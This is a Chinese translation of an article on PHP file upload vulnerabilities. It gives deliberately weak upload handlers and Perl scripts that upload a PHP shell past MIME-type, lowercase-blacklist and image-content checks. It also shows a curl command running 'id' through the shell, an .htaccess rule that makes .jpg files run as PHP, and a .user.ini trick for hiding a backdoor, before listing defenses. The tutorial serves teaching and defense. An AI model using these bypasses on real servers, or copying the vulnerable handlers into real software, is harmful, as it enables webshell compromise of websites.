[译]文件上传漏洞

原文地址:http://resources.infosecinstitute.com/file-upload-vulnerabilities/
有两种不用的问题:一种由metadata产生的,例如路径和文件名。他们可以用于欺骗程序覆盖一个至关重要的文件或是存储在一个不好的地方。例如攻击者可以上传一个叫index.ph的恶意文件到根文件夹,通过把文件名改为../../index.php。另一个问题是文件内容
文件上传的基本实现
文件上传技术由HTML文件和PHP脚本文件组成。HTML文件创建一个接口,用来允许user选择上传的文件,而PHP脚本用来处理上传文件的请求。
HTML Form:

<form enctype="multipart/form-data" action="uploader.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>

PHP Code:

<?php
$target_path="uploads/";
//Here we set the target path that will save the file in to.
$target_path = $target_path.basename($_FILES['uploadedfile']['name']);
// here wll move the desired file from the tmp directory to the target path
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target_path)){
echo "the file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded! ";
}else {
echo "there was an error uploading the file ,please try again!";
}
?>

在这个简单的例子中,没有关于文件类型的限制。所以,攻击者可以上传一个含有恶意代码的php脚本文件,从而控制受害者机器。此外,上传的文件可以移动到根目录,意味着攻击者可以通过互联网来访问。
Content-type验证
web开发使用的第一种技术来验证文件上传表单是检查从php返回的上传文件的MIME类型:
$_FILES['uploadedfile']['type']变量保存MIME的类型,是否等于开发者指明允许上传的文件类型。如果相等,则可以上传,否则user将会看到错误信息。
请求header中的content-type指明了MIME的类型。一个恶意user可以使用一个允许发送/更改HTTP POST的脚本(或其他工具)轻松上传文件。这样就会发送一个假的mime-type。
例如,下面的PHP代码只接收图片。这时,开发者检查MIME type是否等于image/gif。这里将会显示一个定制的错误信息,如果相等,文件上传。保存如下代码为 Demo1.php:
<?php
//Demo1.php
if($_FILES['uploadedfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

如果如果攻击者上传一个shell.php的文件,应用将会检查MIME type是application/x-php。这时将会出错。
攻击者可以通过更改MIME type为image/gif来绕过检查。当应用程序检查MIME type,认为是一个gif文件,应用程序将会上传恶意代码shell.php。这时将会出错。
下面的脚本用于上传php shell到Demo1.php:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo1.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" =>"image/gif"],
],

);
print $res->as_string();

运行脚本后,我们可以请求上传文件,然后在服务器上执行shell命令行
$ curl http://localhost/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
视频:http://www.securitytube.net/video/3884
文件扩展名检查
web开发者将使用黑名单来过滤危险的扩展名。
第一个绕过方法是上传一个.htaccess文件:
恶意user如果可以成功上传包含下面代码的.htaccess文件,那么他就可以运行php shell code
AddType application/x-httpd-php .jpg

这行代码告诉apache web服务器执行把jpg图片当成PHP脚本执行。攻击者现在可以上传一个含有php代码的以jpg为扩展名的文件。于是请求一个含有php代码的jpg文件将会在系统上执行命令。
第二个绕过方法是使用一些Apache特性
开发者开发者通过在文件名中寻找'.',提权'.'后的字符串作为扩展名。Apache手册:
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”

文件可以有多个扩展名,扩展名的顺序无关。例如如果welcome.html.fr文件对应成context类型为html以及语言为法语,那么welcome.fr.html也会映射成相同信息。如果大于一个扩展名映射成用一个元数据类型,那么右侧的扩展名类型有效,除了语言和content编码。例如,如果.gif映射成MIME-type image/gif以及.html映射成MIME-type text/html,那么文件welcome.gif.html将会对应于MIME-type text/html.
基于上述引用,我们可以创建一个叫"shell.php.blah"的文件,这个文件将由PHP解释并运行。这是因为最后的扩展名没有在web服务器的MIME-type列表中指定,所以web服务器将会执行它能够识别的MIME-type类型,也就是php。
第三种绕过方法:
我们可以制作一个扩展名黑名单,然后检查文件名来确保user指定的文件名没有恶意扩展名,Demo2.php代码如下:
<?php
$blacklist = array(".php","html","shtml",".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
if(preg_match("/$item$/", $_FILES['uploadedfile']['name'])) {
echo "We do not allow uploading PHP filesn";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

可以将.php改成.PHP来绕过,因为代码只检查小写.php。
下面代码用于上传文件到Demo2.php:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.PHP", "shell.PHP", "Content-Type" =>"image/gif"],
],
);
print $res->as_string();

图片内容检查:
开发者使用这些信息来检查函数返回值来识别文件上传漏洞。所以如果恶意user试图上传一个嵌入在jpg文件的php shell,函数将会返回false,上传失败。但是这种方法也是可以绕过。如果一个图片使用一个图片编辑器打开,例如Gimp,那么就可以编辑图片注释,把php代码插入注释中。Demo3.php代码如下:
<?php
$imageinfo = getimagesize($_FILES['uploadedfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG imagesn";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.n";
} else {
echo "File uploading failed.n";
}
?>

使用下面代码上传文件:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/Demo3.php',
Content_Type => 'form-data',
Content => [
userfile => ["chelsea-logo.jpg", "chelsea-logo.jpg", "Content-Type" =>
"image/jpg"],
],
);
print $res->as_string();

现在可以请求uploads/chelsea-logo.jpg
解决方法
1. 定义一个.htaccess文件用来只允许访问特定的扩展名
2. 不要把.htaccess文件和上传的文件放到同一路径下,它应该放在父文件夹中
3. 最重要的把上传的文件放到一个从互联网无法访问的位置。可以通过把上传的文件放到web根文件夹之外或配置web服务器不允许访问上传文件夹。
4. 创建一个接受的扩展名的白名单。不要使用黑名单
5. 使用随机文件名,这样即使攻击者可以上传恶意php代码,他也会面临在上传文件夹中找到该文件的难题
第四种办法:.user.ini文件构成的PHP后门
参考 http://drops.wooyun.org/tips/3424
某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

你可能感兴趣的:(文件上传)